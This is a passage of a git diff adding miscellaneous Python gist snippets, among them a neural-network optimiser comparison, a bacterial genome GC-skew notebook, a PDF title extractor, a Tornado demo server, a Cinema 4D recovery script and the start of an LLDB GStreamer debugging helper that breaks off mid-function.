+        train_set_iterator = DatasetMiniBatchIterator(x_train, y_train)
+        if method == 'sag':
+            sag_train_set_iterator = DatasetMiniBatchIterator(x_train, y_train, randomize=True)
+        dev_set_iterator = DatasetMiniBatchIterator(x_dev, y_dev)
+        train_scoref = self.score_classif(train_set_iterator)
+        dev_scoref = self.score_classif(dev_set_iterator)
+        best_dev_loss = numpy.inf
+        epoch = 0
+        # TODO early stopping (not just cross val, also stop training)
+        if plot:
+            verbose = True
+            self._costs = []
+            self._train_errors = []
+            self._dev_errors = []
+            self._updates = []
+
+        seen = numpy.zeros(((x_train.shape[0]+BATCH_SIZE-1) / BATCH_SIZE,), dtype=numpy.bool)
+        n_seen = 0
+
+        while epoch < max_epochs:
+            if not verbose:
+                sys.stdout.write("\r%0.2f%%" % (epoch * 100./ max_epochs))
+                sys.stdout.flush()
+            avg_costs = []
+            timer = time.time()
+            if method == 'sag':
+                for ind_minibatch, x, y in sag_train_set_iterator:
+                    if not seen[ind_minibatch]:
+                        seen[ind_minibatch] = 1
+                        n_seen += 1
+                    avg_cost = train_fn(x, y, ind_minibatch, n_seen)
+                    if type(avg_cost) == list:
+                        avg_costs.append(avg_cost[0])
+                    else:
+                        avg_costs.append(avg_cost)
+            else:
+                for x, y in train_set_iterator:
+                    if method == 'sgd' or method == 'adagrad':
+                        avg_cost = train_fn(x, y, lr=1.E-2)
+                    elif method == 'adadelta':
+                        avg_cost = train_fn(x, y)
+                    if type(avg_cost) == list:
+                        avg_costs.append(avg_cost[0])
+                    else:
+                        avg_costs.append(avg_cost)
+            if verbose:
+                mean_costs = numpy.mean(avg_costs)
+                mean_train_errors = numpy.mean(train_scoref())
+                print('  epoch %i took %f seconds' %
+                      (epoch, time.time() - timer))
+                print('  epoch %i, avg costs %f' %
+                      (epoch, mean_costs))
+                print('  epoch %i, training error %f' %
+                      (epoch, mean_train_errors))
+                if plot:
+                    self._costs.append(mean_costs)
+                    self._train_errors.append(mean_train_errors)
+            dev_errors = numpy.mean(dev_scoref())
+            if plot:
+                self._dev_errors.append(dev_errors)
+            if dev_errors < best_dev_loss:
+                best_dev_loss = dev_errors
+                best_params = copy.deepcopy(self.params)
+                if verbose:
+                    print('!!!  epoch %i, validation error of best model %f' %
+                          (epoch, dev_errors))
+            epoch += 1
+        if not verbose:
+            print("")
+        for i, param in enumerate(best_params):
+            self.params[i] = param
+
+    def score(self, x, y):
+        """ error rates """
+        iterator = DatasetMiniBatchIterator(x, y)
+        scoref = self.score_classif(iterator)
+        return numpy.mean(scoref())
+
+    class_to_chg.fit = MethodType(fit, None, class_to_chg)
+    class_to_chg.score = MethodType(score, None, class_to_chg)
+
+
+if __name__ == "__main__":
+    add_fit_and_score(DropoutNet)
+    add_fit_and_score(RegularizedNet)
+
+    def nudge_dataset(X, Y):
+        """
+        This produces a dataset 5 times bigger than the original one,
+        by moving the 8x8 images in X around by 1px to left, right, down, up
+        """
+        from scipy.ndimage import convolve
+        direction_vectors = [
+            [[0, 1, 0],
+             [0, 0, 0],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [1, 0, 0],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [0, 0, 1],
+             [0, 0, 0]],
+            [[0, 0, 0],
+             [0, 0, 0],
+             [0, 1, 0]]]
+        shift = lambda x, w: convolve(x.reshape((8, 8)), mode='constant',
+                                      weights=w).ravel()
+        X = numpy.concatenate([X] +
+                              [numpy.apply_along_axis(shift, 1, X, vector)
+                                  for vector in direction_vectors])
+        Y = numpy.concatenate([Y for _ in range(5)], axis=0)
+        return X, Y
+
+    from sklearn import datasets, svm, naive_bayes
+    from sklearn import cross_validation, preprocessing
+    DIGITS = True
+    FACES = True
+    TWENTYNEWSGROUPS = False
+    VERBOSE = True
+    SCALE = True
+    PLOT = True
+
+    def train_models(x_train, y_train, x_test, y_test, n_features, n_outs,
+            use_dropout=False, n_epochs=100, numpy_rng=None,
+            svms=False, nb=False, deepnn=True, name=''):
+        if svms:
+            print("Linear SVM")
+            classifier = svm.SVC(gamma=0.001)
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+            print("RBF-kernel SVM")
+            classifier = svm.SVC(kernel='rbf', class_weight='auto')
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+        if nb:
+            print("Multinomial Naive Bayes")
+            classifier = naive_bayes.MultinomialNB()
+            print(classifier)
+            classifier.fit(x_train, y_train)
+            print("score: %f" % classifier.score(x_test, y_test))
+
+        if deepnn:
+            import warnings
+            warnings.filterwarnings("ignore")  # TODO remove
+
+            if use_dropout:
+                #n_epochs *= 4  TODO
+                pass
+
+            def new_dnn(dropout=False):
+                if dropout:
+                    print("Dropout DNN")
+                    return DropoutNet(numpy_rng=numpy_rng, n_ins=n_features,
+                        #layers_types=[LogisticRegression],
+                        #layers_sizes=[],
+                        #dropout_rates=[0.],
+                        #layers_types=[ReLU, ReLU, ReLU, LogisticRegression],
+                        #layers_sizes=[1000, 1000, 1000],
+                        #dropout_rates=[0., 0.5, 0.5, 0.5],
+                        layers_types=[ReLU, ReLU, LogisticRegression],
+                        layers_sizes=[200, 200],
+                        dropout_rates=[0., 0.5, 0.5],
+                        n_outs=n_outs,
+                        debugprint=0)
+                else:
+                    print("Simple (regularized) DNN")
+                    return RegularizedNet(numpy_rng=numpy_rng, n_ins=n_features,
+                        #layers_types=[LogisticRegression],
+                        #layers_sizes=[],
+                        #layers_types=[ReLU, ReLU, ReLU, LogisticRegression],
+                        #layers_sizes=[1000, 1000, 1000],
+                        layers_types=[ReLU, LogisticRegression],
+                        layers_sizes=[200],
+                        n_outs=n_outs,
+                        #L1_reg=0.001/x_train.shape[0],
+                        #L2_reg=0.001/x_train.shape[0],
+                        L1_reg=0.,
+                        L2_reg=1./x_train.shape[0],
+                        debugprint=0)
+
+            import matplotlib.pyplot as plt
+            plt.figure()
+            ax1 = plt.subplot(221)
+            ax2 = plt.subplot(222)
+            ax3 = plt.subplot(223)
+            ax4 = plt.subplot(224)  # TODO updates of the weights
+            #for method in ['sag']:
+            for method in ['sag', 'sgd', 'adagrad', 'adadelta']:
+                dnn = new_dnn(use_dropout)
+                print dnn
+                dnn.fit(x_train, y_train, max_epochs=n_epochs, method=method, verbose=VERBOSE, plot=PLOT)
+                test_error = dnn.score(x_test, y_test)
+                print("score: %f" % (1. - test_error))
+                ax1.plot(numpy.log10(dnn._costs), label=method)
+                #ax2.plot(numpy.log10(dnn._train_errors), label=method)
+                #ax3.plot(numpy.log10(dnn._dev_errors), label=method)
+                ax2.plot(dnn._train_errors, label=method)
+                ax3.plot(dnn._dev_errors, label=method)
+                #ax4.plot(dnn._updates, label=method) TODO
+                ax4.plot([test_error for _ in range(10)], label=method)
+            ax1.set_xlabel('epoch')
+            ax1.set_ylabel('cost (log10)')
+            ax2.set_xlabel('epoch')
+            ax2.set_ylabel('train error')
+            ax3.set_xlabel('epoch')
+            ax3.set_ylabel('dev error')
+            ax4.set_ylabel('test error')
+            plt.legend()
+            plt.savefig('training_' + name + '.png')
+
+
+    if DIGITS:
+        digits = datasets.load_digits()
+        data = numpy.asarray(digits.data, dtype='float32')
+        target = numpy.asarray(digits.target, dtype='int32')
+        nudged_x, nudged_y = nudge_dataset(data, target)
+        if SCALE:
+            nudged_x = preprocessing.scale(nudged_x)
+        x_train, x_test, y_train, y_test = cross_validation.train_test_split(
+                nudged_x, nudged_y, test_size=0.2, random_state=42)
+        train_models(x_train, y_train, x_test, y_test, nudged_x.shape[1],
+                     len(set(target)), numpy_rng=numpy.random.RandomState(123),
+                     name='digits')
+
+    if FACES:
+        import logging
+        logging.basicConfig(level=logging.INFO,
+                            format='%(asctime)s %(message)s')
+        lfw_people = datasets.fetch_lfw_people(min_faces_per_person=70,
+                                               resize=0.4)
+        X = numpy.asarray(lfw_people.data, dtype='float32')
+        if SCALE:
+            X = preprocessing.scale(X)
+        y = numpy.asarray(lfw_people.target, dtype='int32')
+        target_names = lfw_people.target_names
+        print("Total dataset size:")
+        print("n samples: %d" % X.shape[0])
+        print("n features: %d" % X.shape[1])
+        print("n classes: %d" % target_names.shape[0])
+        x_train, x_test, y_train, y_test = cross_validation.train_test_split(
+                    X, y, test_size=0.2, random_state=42)
+
+        train_models(x_train, y_train, x_test, y_test, X.shape[1],
+                     len(set(y)), numpy_rng=numpy.random.RandomState(123),
+                     name='faces')
+
+    if TWENTYNEWSGROUPS:
+        from sklearn.feature_extraction.text import TfidfVectorizer
+        newsgroups_train = datasets.fetch_20newsgroups(subset='train')
+        vectorizer = TfidfVectorizer(encoding='latin-1', max_features=10000)
+        #vectorizer = HashingVectorizer(encoding='latin-1')
+        x_train = vectorizer.fit_transform(newsgroups_train.data)
+        x_train = numpy.asarray(x_train.todense(), dtype='float32')
+        y_train = numpy.asarray(newsgroups_train.target, dtype='int32')
+        newsgroups_test = datasets.fetch_20newsgroups(subset='test')
+        x_test = vectorizer.transform(newsgroups_test.data)
+        x_test = numpy.asarray(x_test.todense(), dtype='float32')
+        y_test = numpy.asarray(newsgroups_test.target, dtype='int32')
+        train_models(x_train, y_train, x_test, y_test, x_train.shape[1],
+                     len(set(y_train)),
+                     numpy_rng=numpy.random.RandomState(123),
+                     svms=False, nb=True, deepnn=True,
+                     name='20newsgroups')
+
diff --git a/hard-gists/6808772/._snippet.py b/hard-gists/6808772/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6808772/._snippet.py differ
diff --git a/hard-gists/6808772/snippet.py b/hard-gists/6808772/snippet.py
new file mode 100644
index 00000000..82af403e
--- /dev/null
+++ b/hard-gists/6808772/snippet.py
@@ -0,0 +1,8 @@
+import sublime, sublime_plugin
+
+class Copy_on_select(sublime_plugin.EventListener):
+     def on_selection_modified(self, view):
+        for region in view.sel(): 
+            if not region.empty():  
+                print(view.substr(region))  
+                view.run_command('copy')
\ No newline at end of file
diff --git a/hard-gists/6815711/._snippet.py b/hard-gists/6815711/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6815711/._snippet.py differ
diff --git a/hard-gists/6815711/snippet.py b/hard-gists/6815711/snippet.py
new file mode 100644
index 00000000..ce56e57a
--- /dev/null
+++ b/hard-gists/6815711/snippet.py
@@ -0,0 +1,134 @@
+# -*- coding: utf-8 -*-
+# <nbformat>3.0</nbformat>
+
+# <codecell>
+
+from numpy import *
+from pandas import *
+
+
+from scipy.signal import argrelextrema
+
+# <codecell>
+
+# Download a list of all complete bacterial genomes from NCBI
+import urllib
+url = "http://www.ncbi.nlm.nih.gov/genomes/Genome2BE/genome2srv.cgi?action=download&orgn=&report=proks&status=Complete|&group=--%20All%20Bacteria%20--&subgroup=--%20All%20Bacteria%20--"
+data = read_csv(urllib.urlopen(url), na_values='-', sep="\t")
+no_refseq = isnull(data['Chromosomes/RefSeq'])
+print "Without RefSeq: %i/%i" % (sum(no_refseq), len(no_refseq))
+data = data[~no_refseq]
+
+# <codecell>
+
+# Take a peek at the table columns
+data
+
+# <codecell>
+
+# Distribution of gene counts
+data['Genes'].hist()
+
+# <codecell>
+
+# Distribution of genome sizes
+data['Size (Mb)'].hist()
+
+# <codecell>
+
+# How many data do we have to download?
+sum(data['Size (Mb)'])
+
+# <codecell>
+
+import os
+try:
+    os.mkdir('fasta')
+except OSError:
+    pass
+
+try:
+    os.mkdir('skew_plots')
+except OSError:
+    pass
+
+# <codecell>
+
+from Bio import Entrez, SeqIO
+Entrez.email = ""     # Always tell NCBI who you are
+
+# <codecell>
+
+for index, row in data.iterrows():  
+    for refseq in row['Chromosomes/RefSeq'].split(','):
+        
+        filename = "fasta/%s.fasta" % (refseq,)
+        if os.path.exists(filename):
+            continue
+        print "%i/%i" % (index, len(data)) , refseq, row['#Organism/Name']
+        handle = Entrez.efetch(db="nucleotide", id=refseq, rettype="fasta", retmode="text")
+        seq = SeqIO.read(handle, 'fasta')
+        output_handle = open(filename, "w")
+        SeqIO.write(seq, output_handle, "fasta")
+        output_handle.close()
+    
+
+# <codecell>
+
+
+# <codecell>
+
+def skew_increments(s):
+    return [{'C': -1, 'A':0, 'T':0, 'G':1, 'N':0, 'S':0,'R':0, 'D':0, 'Y':0, 'K':0, 'M':0, 'W':0, 'B':0, 'V':0, 'H':0}[c] for c in s]
+def gc_skew(s):
+    return cumsum([0]+skew_increments(s))
+
+# <codecell>
+
+# Calculate and plot a simple example
+seq = SeqIO.read(file("fasta/NC_017492.1.fasta"), "fasta").seq
+skew = gc_skew(seq)[0::10000]
+figure(figsize=(3,3))
+plot(skew)
+minima = argrelextrema(skew, less, order=10)[0]
+
+# <codecell>
+
+
+# <codecell>
+
+# Iterate over each organism
+for index, row in data.iterrows():
+    # Each organism can have multiple chromosomes
+    for refseq in row['Chromosomes/RefSeq'].split(','):
+        filename = "fasta/%s.fasta" % (refseq,)
+        if not os.path.exists(filename):
+            continue
+        image_name =  "%s(%s)" % (row['#Organism/Name'], refseq)
+        image_name = "skew_plots/" + image_name.replace(" ", "_").replace(".", "").replace("/"," of ") + ".png"
+        if os.path.exists(image_name):
+            continue
+        try:
+            
+            seq = SeqIO.read(file(filename), "fasta").seq
+        except ValueError:
+            print "error:", filename
+            continue
+        skew = gc_skew(seq)[0::10000]
+        minima = argrelextrema(skew, less, order=10)[0]
+        print "%i/%i" % (index, len(data)), refseq, row['#Organism/Name'], len(minima)
+    
+        figure(figsize=(3,3))
+        plot(skew)
+        
+        title("%s\n%s" % (row['#Organism/Name'], refseq))
+        savefig(image_name, bbox_inches='tight', pad_inches=0.5)
+
+# <codecell>
+
+1
+
+# <codecell>
+
+
+# <codecell>
diff --git a/hard-gists/6838974/._snippet.py b/hard-gists/6838974/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6838974/._snippet.py differ
diff --git a/hard-gists/6838974/snippet.py b/hard-gists/6838974/snippet.py
new file mode 100644
index 00000000..2ad64a9e
--- /dev/null
+++ b/hard-gists/6838974/snippet.py
@@ -0,0 +1,130 @@
+#!/usr/bin/env python
+
+"""
+Extract title from PDF file.
+
+Depends on: pyPDF, PDFMiner.
+
+Usage:
+
+    find . -name "*.pdf" |  xargs -I{} pdftitle -d tmp --rename {}
+"""
+
+import cStringIO
+import getopt
+import os
+import re
+import string
+import sys
+
+from pyPdf import PdfFileReader
+from pyPdf.utils import PdfReadError
+
+from pdfminer.converter import TextConverter
+from pdfminer.layout import LAParams
+from pdfminer.pdfinterp import PDFResourceManager, process_pdf, PDFTextExtractionNotAllowed
+from pdfminer.pdfparser import PDFSyntaxError
+
+__all__ = ['pdf_title']
+
+def sanitize(filename):
+    """Turn string to valid file name.
+    """
+    valid_chars = "-_.() %s%s" % (string.ascii_letters, string.digits)
+    return ''.join([c for c in filename if c in valid_chars])
+
+def meta_title(filename):
+    """Title from pdf metadata.
+    """
+    try:
+        docinfo = PdfFileReader(file(filename, 'rb')).getDocumentInfo()
+        return docinfo.title if docinfo.title else ""
+    except PdfReadError:
+        return ""
+
+def copyright_line(line):
+    """Judge if a line is copyright info.
+    """
+    return re.search(r'technical\s+report|proceedings|preprint|to\s+appear|submission', line.lower())
+
+def empty_str(s):
+    return len(s.strip()) == 0
+
+def pdf_text(filename):
+    try:
+        text = cStringIO.StringIO()
+        rsrc = PDFResourceManager()
+        device = TextConverter(rsrc, text, codec='utf-8', laparams=LAParams())
+        process_pdf(rsrc, device, file(filename, 'rb'), None, maxpages=1, password='')
+        device.close()
+        return text.getvalue()
+    except (PDFSyntaxError, PDFTextExtractionNotAllowed):
+        return ""
+
+def title_start(lines):
+    for i, line in enumerate(lines):
+        if not empty_str(line) and not copyright_line(line):
+            return i;
+    return 0
+
+def title_end(lines, start, max_lines=2):
+    for i, line in enumerate(lines[start+1:start+max_lines+1], start+1):
+        if empty_str(line):
+            return i
+    return start + 1
+
+def text_title(filename):
+    """Extract title from PDF's text.
+    """
+    lines = pdf_text(filename).strip().split('\n')
+
+    i = title_start(lines)
+    j = title_end(lines, i)
+
+    return ' '.join(line.strip() for line in lines[i:j])
+
+def valid_title(title):
+    return not empty_str(title) and empty_str(os.path.splitext(title)[1])
+
+def pdf_title(filename):
+    title = meta_title(filename)
+    if valid_title(title):
+        return title
+
+    title = text_title(filename)
+    if valid_title(title):
+        return title
+
+    return os.path.basename(os.path.splitext(filename)[0])
+
+if __name__ == "__main__":
+    opts, args = getopt.getopt(sys.argv[1:], 'nd:', ['dry-run', 'rename'])
+
+    dry_run = False
+    rename = False
+    dir = "."
+
+    for opt, arg in opts:
+        if opt in ['-n', '--dry-run']:
+            dry_run = True
+        elif opt in ['--rename']:
+            rename = True
+        elif opt in ['-d']:
+            dir = arg
+
+    if len(args) == 0:
+        print "Usage: %s [-d output] [--dry-run] [--rename] filenames" % sys.argv[0]
+        sys.exit(1)
+
+    for filename in args:
+        title = pdf_title(filename)
+        if rename:
+            new_name = os.path.join(dir, sanitize(' '.join(title.split())) + ".pdf")
+            print "%s => %s" % (filename, new_name)
+            if not dry_run:
+                if os.path.exists(new_name):
+                    print "*** Target %s already exists! ***" % new_name
+                else:
+                    os.rename(filename, new_name)
+        else:
+            print title
\ No newline at end of file
diff --git a/hard-gists/6843565/._snippet.py b/hard-gists/6843565/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6843565/._snippet.py differ
diff --git a/hard-gists/6843565/snippet.py b/hard-gists/6843565/snippet.py
new file mode 100644
index 00000000..3bcc6c03
--- /dev/null
+++ b/hard-gists/6843565/snippet.py
@@ -0,0 +1,65 @@
+from __future__ import division, print_function
+import Image
+
+class Wallmask(object):
+    def __init__(self):
+        self.load_wallmask("Maps/ctf_dirtbowl_v2.png")
+        self.name = "ctf_dirtbowl_v2"
+        
+    def load_wallmask(self, name):
+        print("---LOADING WALLMASK---")
+    
+        image = Image.open(name)
+        for key, value in image.text.items():
+            if key == "Gang Garrison 2 Level Data":
+                text = value
+                break
+                
+        text = text[text.find("{WALKMASK}\n")+len("{WALKMASK}\n"):text.find("\n{END WALKMASK}")]
+        index = text.find("\n")
+        self.width = int(text[:index])
+        text = text[index+1:]
+        index = text.find("\n")
+        self.height = int(text[:index])
+        text = text[index+1:]
+        
+        self.mask = [[False for j in range(self.height)] for i in range(self.width)]
+        
+        self.uncompress_wallmask_data(text)
+        
+        
+        large_mask = [[False for j in range(len(self.mask[0])*6)] for i in range(len(self.mask)*6)]
+        for i in range(len(self.mask)*6):
+            for j in range(len(self.mask[0])*6 - 7):
+                large_mask[i][j] = self.mask[int(i/6)][int(j/6)]
+        self.mask = large_mask
+        self.width = len(self.mask)
+        self.height = len(self.mask[0])
+
+    def uncompress_wallmask_data(self, data):
+        bitmask = 0x1
+        index = len(data)-1
+        value = ord(data[index]) - 32
+        
+        for i in range(len(data)*6 - self.width*self.height):
+            bitmask *= 2
+        for y in range(self.height-1, -1, -1):
+            for x in range(self.width-1, -1, -1):
+                if bitmask == 64:
+                    index -= 1
+                    bitmask = 0x1
+                    value = ord(data[index]) - 32
+                if value & bitmask:
+                    self.mask[x][y] = True
+                bitmask *= 2
+
+
+    def print_wallmask(self):
+        n_image = Image.new("L", (self.width, self.height))
+        for x in range(self.width):
+            for y in range(self.height):
+                if self.mask[x][y]:
+                    n_image.putpixel((x, y), 0)
+                else:
+                    n_image.putpixel((x, y), 255)
+        n_image.save("output.png")
\ No newline at end of file
diff --git a/hard-gists/6856389/._snippet.py b/hard-gists/6856389/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6856389/._snippet.py differ
diff --git a/hard-gists/6856389/snippet.py b/hard-gists/6856389/snippet.py
new file mode 100644
index 00000000..f82d0bde
--- /dev/null
+++ b/hard-gists/6856389/snippet.py
@@ -0,0 +1,21 @@
+#!/usr/bin/env python3
+#-*- coding: utf-8 -*-
+
+"""
+helloqt.py
+PyQt5 で Hello, world!
+"""
+
+import sys
+from PyQt5 import QtWidgets
+
+def main():
+    app = QtWidgets.QApplication(sys.argv)
+    window = QtWidgets.QMainWindow()
+    button = QtWidgets.QPushButton("Hello, PyQt!")
+    window.setCentralWidget(button)
+    window.show()
+    app.exec_()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6869344/._snippet.py b/hard-gists/6869344/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6869344/._snippet.py differ
diff --git a/hard-gists/6869344/snippet.py b/hard-gists/6869344/snippet.py
new file mode 100644
index 00000000..a7f4206e
--- /dev/null
+++ b/hard-gists/6869344/snippet.py
@@ -0,0 +1,42 @@
+#!/bin/env python
+
+import tornado.httpserver
+import tornado.ioloop
+import tornado.options
+import tornado.web
+import tornado.httpclient
+import tornado.gen
+from tornado.concurrent import run_on_executor
+from concurrent.futures import ThreadPoolExecutor
+
+import time
+
+from tornado.options import define, options
+define("port", default=7000, help="run on the given port", type=int)
+
+class SleepHandler(tornado.web.RequestHandler):
+    executor = ThreadPoolExecutor(10)
+    @tornado.web.asynchronous
+    @tornado.gen.coroutine
+    def get(self):
+        start = time.time()
+        res = yield self.sleep()
+        self.write("when i sleep %f s" % (time.time() - start))
+        self.finish()
+
+    @run_on_executor
+    def sleep(self):
+        time.sleep(5)
+        return 5
+
+class JustNowHandler(tornado.web.RequestHandler):
+    def get(self):
+        self.write("i hope just now see you")
+
+if __name__ == "__main__":
+    tornado.options.parse_command_line()
+    app = tornado.web.Application(handlers=[
+            (r"/sleep", SleepHandler), (r"/justnow", JustNowHandler)])
+    http_server = tornado.httpserver.HTTPServer(app)
+    http_server.listen(options.port)
+    tornado.ioloop.IOLoop.instance().start()
\ No newline at end of file
diff --git a/hard-gists/6874944/._snippet.py b/hard-gists/6874944/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6874944/._snippet.py differ
diff --git a/hard-gists/6874944/snippet.py b/hard-gists/6874944/snippet.py
new file mode 100644
index 00000000..88b017db
--- /dev/null
+++ b/hard-gists/6874944/snippet.py
@@ -0,0 +1,81 @@
+# Copyright (c) 2013, Niklas Rosenstein
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#
+# ============================================================================
+#
+# This script imports a Cinema 4D scenefile and disables all deformers,
+# generators and expressions. This is useful if the scene was saved at a state
+# it is unrecoverable because of an issue while scripting (eg. saved the scene
+# before a Python tag was executed, but now that Python tag always runs in an
+# infinite loop).
+#
+# Use this script to recover your scene!
+
+import os
+import c4d
+
+options = {
+    'turn_off_objects': True,
+    'turn_off_displacement_channels': True,
+}
+
+def disable(op):
+    info = op.GetInfo()
+    if info & c4d.OBJECT_GENERATOR or info & c4d.OBJECT_DEFORMER:
+        op.SetDeformMode(False)
+
+    for tag in op.GetTags():
+        info = tag.GetInfo()
+        bc = tag.GetDataInstance()
+        if info & c4d.TAG_EXPRESSION and bc.FindIndex(c4d.EXPRESSION_ENABLE) >= 0:
+            tag[c4d.EXPRESSION_ENABLE] = False
+
+    for child in op.GetChildren():
+        disable(child)
+
+def main():
+    filename = c4d.storage.LoadDialog(c4d.FILESELECTTYPE_SCENES)
+    if not filename or not os.path.isfile(filename):
+        return
+
+    flags = c4d.SCENEFILTER_OBJECTS | c4d.SCENEFILTER_MATERIALS | c4d.SCENEFILTER_DIALOGSALLOWED | \
+            c4d.SCENEFILTER_PROGRESSALLOWED | c4d.SCENEFILTER_NONEWMARKERS | c4d.SCENEFILTER_SAVECACHES
+    doc = c4d.documents.LoadDocument(filename, flags)
+    if not doc:
+        c4d.gui.MessageDialog("The document could not be loaded.")
+        return
+
+    # Disable all objects in the scene.
+    if options['turn_off_objects']:
+        for op in doc.GetObjects():
+            disable(op)
+
+    # Disable the displacement channel of each material.
+    if options['turn_off_displacement_channels']:
+        for mat in doc.GetMaterials():
+            print mat.GetName()
+            mat[c4d.MATERIAL_USE_DISPLACEMENT] = False
+
+    c4d.documents.InsertBaseDocument(doc)
+    c4d.documents.SetActiveDocument(doc)
+    c4d.EventAdd()
+
+main()
+
diff --git a/hard-gists/6874ff814ab7f2530b2a/._snippet.py b/hard-gists/6874ff814ab7f2530b2a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6874ff814ab7f2530b2a/._snippet.py differ
diff --git a/hard-gists/6874ff814ab7f2530b2a/snippet.py b/hard-gists/6874ff814ab7f2530b2a/snippet.py
new file mode 100644
index 00000000..a6b1dc77
--- /dev/null
+++ b/hard-gists/6874ff814ab7f2530b2a/snippet.py
@@ -0,0 +1,164 @@
+# To use:
+# 1) Save to $HOME
+# 2) echo 'command script import ~/gst.py' >> ~/.lldbinit
+# 3) From within lldb:
+#    
+#   To open pipeline graph in Graphviz:
+#
+#    gst_dot foobar
+#
+#      foobar: any expression of type GstObject* -- e.g. GstElement*, GstPad* or GstBin*
+#
+#   To dump a GstBuffer to local disk:
+#
+#    gst_buffer_dump my_buf /path/filename.raw
+#
+#       my_buf: an expression of type GstBuffer*
+#
+# Make sure you have Graphviz installed: http://www.graphviz.org/
+
+import lldb
+import tempfile
+import subprocess
+
+def get_gst_parent(gst_obj):
+    return gst_obj.GetChildMemberWithName("parent")
+
+def get_gst_name(gst_obj):
+    return gst_obj.GetChildMemberWithName("name")
+
+def get_gst_root(gst_obj):
+    parent = get_gst_parent(gst_obj)
+    if not parent.IsValid():
+        gst_obj = gst_obj.GetChildMemberWithName("object")
+        parent = get_gst_parent(gst_obj)
+    while parent.GetValueAsUnsigned() != 0:
+        gst_obj = parent
+        parent = get_gst_parent(gst_obj)
+    return gst_obj
+
+def command_gst_root_name(debugger, command, result, dict):
+    target = debugger.GetSelectedTarget()
+    process = target.GetProcess()
+    thread = process.GetSelectedThread()
+    frame = thread.GetSelectedFrame()
+    if not frame.IsValid():
+        result.SetError('no frame here')
+        return
+
+    print >>result, get_gst_name(get_gst_root(frame.EvaluateExpression(command)))
+
+def command_gst_root(debugger, command, result, dict):
+    target = debugger.GetSelectedTarget()
+    process = target.GetProcess()
+    thread = process.GetSelectedThread()
+    frame = thread.GetSelectedFrame()
+    if not frame.IsValid():
+        result.SetError('no frame here')
+        return
+
+    print >>result, get_gst_root(frame.EvaluateExpression(command))
+
+def command_gst_dot(debugger, command, result, dict):
+    error = lldb.SBError()
+    target = debugger.GetSelectedTarget()
+    process = target.GetProcess()
+    thread = process.GetSelectedThread()
+    frame = thread.GetSelectedFrame()
+    if not frame.IsValid():
+        result.SetError('no frame here')
+        return
+
+    gst_var = frame.EvaluateExpression("(GstObject*)({0})".format(command))
+    if not gst_var.IsValid():
+        result.SetError('invalid command')
+        return
+    root = get_gst_root(gst_var)
+    if not root.IsValid():
+        result.SetError('unable to get to bin')
+        return
+    name = process.ReadCStringFromMemory(get_gst_name(root).GetValueAsUnsigned(), 0xff, error)
+
+    # TODO: Is there a better way than EvaluateExpression
+    #       to execute a function?
+    GST_DEBUG_GRAPH_SHOW_ALL = "(GstDebugGraphDetails)15";
+    dot_data = frame.EvaluateExpression(
+        'gst_debug_bin_to_dot_data((GstBin*){}, {})'
+        .format(
+            root.GetValueAsUnsigned(),
+            GST_DEBUG_GRAPH_SHOW_ALL))
+
+    if dot_data.GetError().Fail():
+        # Can happen if GStreamer is static and gst_debug_bin_to_dot_data is not referenced
+        print dot_data.GetError().GetCString()
+        return
+
+    if dot_data.GetValueAsUnsigned() == 0:
+        result.SetError("unable to generate Graphviz data for {}".format(command))
+        return
+
+    dot_str = process.ReadCStringFromMemory(dot_data.GetValueAsUnsigned(), 0xffffff, error)
+    if not error.Success:
+        result.SetError("unable to read Graphviz data from memory")
+        return
+
+    # delete = False so Graphviz could open the file
+    f = tempfile.NamedTemporaryFile(prefix = "lldb-{}-".format(name), suffix = ".dot", delete = False)
+    f.write(dot_str)
+    f.close()
+
+    opener = "open"
+    subprocess.call([opener, f.name]) # (probably) launch Graphviz
+
+    # TODO: somehow delete the file after Graphviz opened it for sure
+
+def command_gst_buffer_dump(debugger, command, result, dict):
+    error = lldb.SBError()
+    target = debugger.GetSelectedTarget()
+    process = target.GetProcess()
+    thread = process.GetSelectedThread()
+    frame = thread.GetSelectedFrame()
+    if not frame.IsValid():
+        result.SetError('no frame here')
+        return
+
+    args = command.split()
+    if len(args) != 2:
+        result.SetError('invalid arguments')
+        return
+
+    buffer_ptr = frame.EvaluateExpression(args[0])
+    if not buffer_ptr.IsValid():
+        result.SetError('invalid command')
+        return
+    buffer_size = frame.EvaluateExpression(
+        'gst_buffer_get_size((GstBuffer*){})'
+        .format(buffer_ptr.GetValue())).GetValueAsUnsigned()
+    
+    data_ptr = frame.EvaluateExpression(
+        'g_malloc({})'
+        .format(buffer_size))
+
+    read_bytes = frame.EvaluateExpression(
